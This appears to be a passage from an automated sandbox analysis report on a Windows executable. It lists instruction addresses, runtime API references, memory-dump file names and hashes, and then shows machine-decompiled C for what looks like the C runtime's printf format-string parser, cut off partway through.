0x00434b76
0x00434b00
0x00434b00
0x00434b06
0x00434b0a
0x00434b26
0x00434b29
0x00434b29
0x00434b2f
0x00434b57
0x00434b5e
0x00434b64
0x00434b67
0x00434b6a
0x00434b70
0x00434b73
0x00434b31
0x00434b31
0x00434b37
0x00434b3a
0x00434b3d
0x00434b43
0x00434b46
0x00434b49
0x00434b4b
0x00434b4e
0x00434b4e
0x00000000
0x00434b2f
0x00000000
0x00000000
0x00434da5
0x00434da8
0x00434dab
0x00434dae
0x00434db4
0x00434db7
0x00434dbe
0x00434dc2
0x00434dcd
0x00434dcd
0x00434dd1
0x00434de8
0x00434de8
0x00434def
0x00434df1
0x00434df1
0x00434df8
0x00434df8
0x00434dff
0x00434e10
0x00434e1f
0x00434e22
0x00434e26
0x00434e3c
0x00434e28
0x00434e28
0x00434e2b
0x00434e31
0x00434e37
0x00434e37
0x00434e26
0x00434e46
0x00434e49
0x00434e4c
0x00434e4f
0x00434e52
0x00434e55
0x00434e5b
0x00434e61
0x00434e69
0x00434e6a
0x00434e6d
0x00434e6e
0x00434e71
0x00434e72
0x00434e79
0x00434e7a
0x00434e7d
0x00434e7e
0x00434e81
0x00434e82
0x00434e88
0x00434e89
0x00434e97
0x00434e99
0x00434e9f
0x00434e9f
0x00434ea5
0x00434ea7
0x00434eab
0x00434ead
0x00434eb5
0x00434eb6
0x00434eb9
0x00434eba
0x00434ec8
0x00434eca
0x00434eca
0x00434eab
0x00434ecd
0x00434ed4
0x00434ed7
0x00434edc
0x00434edc
0x00434ee2
0x00434ee4
0x00434eec
0x00434eed
0x00434ef0
0x00434ef1
0x00434f00
0x00434f02
0x00434f02
0x00434ee2
0x00434f05
0x00434f08
0x00434f0b
0x00434f0e
0x00434f13
0x00434f19
0x00434f1c
0x00434f1f
0x00434f1f
0x00434f22
0x00434f22
0x00434f25
0x00434f31
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00435242
0x00434dd3
0x00434dd3
0x00434dda
0x00434ddd
0x00000000
0x00000000
0x00434ddf
0x00434ddf
0x00000000
0x00434ddf
0x00434dc4
0x00434dc4
0x00000000
0x00000000
0x00434a51
0x00434a54
0x00434a54
0x00434a5a
0x00434ab5
0x00434abd
0x00434ac4
0x00434aca
0x00434ad0
0x00434a5c
0x00434a5c
0x00434a66
0x00434a6a
0x00434a72
0x00434a79
0x00434a86
0x00434a8d
0x00434a99
0x00434a9f
0x00434aa6
0x00434aa8
0x00434aa8
0x00434aaf
0x00434ad7
0x00434add
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434fba
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x0043507a
0x0043507f
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505f
0x00435064
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435039
0x0043503e
0x00435044
0x00435045
0x0043504b
0x00435019
0x0043501d
0x00435022
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434ff0
0x00434ff5
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc8
0x00434fcd
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00434c97
0x00434c97
0x00434ca3
0x00434ca9
0x00434cae
0x00434cb0
0x00434d5a
0x00434d5d
0x00434d5d
0x00434d60
0x00434d74
0x00434d7a
0x00434d80
0x00434d62
0x00434d62
0x00434d6f
0x00434d6f
0x00434d82
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434cb6
0x00434cb6
0x00434cb6
0x00434cb8
0x00434cc6
0x00434cba
0x00434cba
0x00434cba
0x00434cd0
0x00434cd6
0x00434cdc
0x00434ce3
0x00434ce5
0x00434cea
0x00434cec
0x00434cf1
0x00434cf6
0x00434cf8
0x00434cfd
0x00434d00
0x00434d03
0x00434d05
0x00434d05
0x00434d03
0x00434d06
0x00434d0d
0x00434d55
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00434d0f
0x00434d0f
0x00434d14
0x00434d30
0x00434d38
0x00434d42
0x00434d45
0x00434d4a
0x00000000
0x00434d4a
0x00000000
0x00000000
0x00000000
0x00434f54
0x00434f54
0x00000000
0x00000000
0x00434b91
0x00434b91
0x00434b95
0x00434ba3
0x00434ba6
0x00434b97
0x00434b97
0x00434b97
0x00434bac
0x00434bb2
0x00434bb8
0x00434bc4
0x00434bca
0x00434bca
0x00434bd0
0x00434c37
0x00434c37
0x00434c3b
0x00434c3d
0x00434c43
0x00434c43
0x00434c46
0x00434c49
0x00434c4f
0x00434c4f
0x00434c4f
0x00434c5b
0x00434c5e
0x00434c64
0x00434c66
0x00000000
0x00000000
0x00434c68
0x00434c68
0x00434c6e
0x00434c71
0x00434c73
0x00000000
0x00000000
0x00434c75
0x00434c7b
0x00434c7e
0x00434c7e
0x00434c86
0x00434c86
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00434bd2
0x00434bd2
0x00434bd2
0x00434bd6
0x00434bd8
0x00434bdd
0x00434bdd
0x00434be0
0x00434be7
0x00434bea
0x00434bf0
0x00434bf0
0x00434bf0
0x00434bfc
0x00434bff
0x00434c05
0x00434c07
0x00000000
0x00000000
0x00434c09
0x00434c09
0x00434c0f
0x00434c12
0x00434c14
0x00000000
0x00000000
0x00434c16
0x00434c1c
0x00434c1f
0x00434c1f
0x00434c27
0x00434c2d
0x00434c30
0x00434c32
0x00434c92
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00000000
0x00434f4b
0x00434f4b
0x00434fba
0x00434fba
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x0043507a
0x0043507f
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505f
0x00435064
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435039
0x0043503e
0x00435044
0x00435045
0x0043504b
0x00435019
0x0043501d
0x00435022
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434ff0
0x00434ff5
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc8
0x00434fcd
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00435096
0x00000000
0x00434f67
0x00434f67
0x00434f71
0x00434f71
0x00434f7b
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434fba
0x00434fba
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x0043507a
0x0043507f
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505f
0x00435064
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435039
0x0043503e
0x00435044
0x00435045
0x0043504b
0x00435019
0x0043501d
0x00435022
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434ff0
0x00434ff5
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc8
0x00434fcd
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00435096
0x00000000
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00000000
0x00434801
0x00434804
0x00434807
0x00000000
0x00000000
0x0043480c
0x0043480f
0x00434814
0x00000000
0x00000000
0x004347f6
0x004347f6
0x004347f9
0x004347fc
0x00000000
0x00000000
0x004347eb
0x004347ee
0x004347f1
0x00000000
0x00000000
0x00434819
0x00434819
0x0043481c
0x0043481c
0x0043481f
0x00000000
0x00000000
0x00434822
0x00000000
0x00000000
0x004345be
0x004345c0
0x004345ce
0x004345c2
0x004345c2
0x004345c2
0x004345d8
0x004345de
0x004345eb
0x004345ed
0x004345f2
0x004345f4
0x004345f9
0x004345fe
0x00434600
0x00434605
0x0043460b
0x0043460d
0x0043460d
0x0043460b
0x0043460e
0x00434615
0x00000000
0x00434617
0x0043461c
0x00434638
0x00434640
0x0043464d
0x00434652
0x00435511
0x0043551e
0x0043551e
0x00434615
0x004345b8
0x0043544d
0x0043544d
0x00435454
0x0043546b
0x0043546b
0x00435475
0x00435475
0x0043547b
0x00435481
0x00435488
0x0043548a
0x0043548f
0x00435491
0x00435496
0x0043549b
0x0043549d
0x004354a2
0x004354a5
0x004354a8
0x004354aa
0x004354aa
0x004354a8
0x004354ab
0x004354b2
0x004354fd
0x00435506
0x0043550b
0x004354b4
0x004354b9
0x004354d5
0x004354dd
0x004354ea
0x004354ef
0x004354ef
0x00000000
0x004354b2
0x00435456
0x00435456
0x0043545d
0x00000000
0x00000000
0x0043545f
0x0043545f
0x00000000
0x0043545f
0x00435242
0x00435219
0x00435219
0x0043521d
0x0043522a
0x00435230
0x00435236
0x0043523c
0x0043523c
0x0043523f
0x00000000
0x0043523f
0x0043521f
0x00435225
0x00435228
0x00000000
0x00000000
0x00000000
0x00435228
0x00435181
0x00435184
0x0043518e
0x0043519d
0x004351a6
0x004351bc
0x004351c2
0x004351c8
0x004351cf
0x004351d7
0x004351d7
0x004351dd
0x004351dd
0x004351ec
0x004351f4
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00000000
0x00435171
0x00435163
0x004350a3
0x004350a3
0x004350aa
0x00000000
0x00000000
0x00000000
0x004350d8
0x004350de
0x004350ea
0x00000000
0x004350ea
0x00434fba

APIs

_get_int64_arg.LIBCMTD ref: 00434FC8
__aullrem.LIBCMT ref: 00435195
__aulldiv.LIBCMT ref: 004351B7

Strings

9, xrefs: 004351C8

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: 45d5b22daba0ba7c83ca0bfe5a41c5bb11ec936752b13d8f543a88e921cf9076
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: 1041D4B1D05629DFEF24CF58CC99BAEB7B5BB48300F24959AD009A7240C7386E80CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3B4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C3B4(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00428310(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00428310(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00428310(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00428310(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428330(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428330(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043CAA0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043CAE0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043CAA0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043CAE0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AE00(_t674 - 0x40);
													_t539 = E0043B540(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043CA40( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043CAA0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C4F0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C934))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043CA40( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
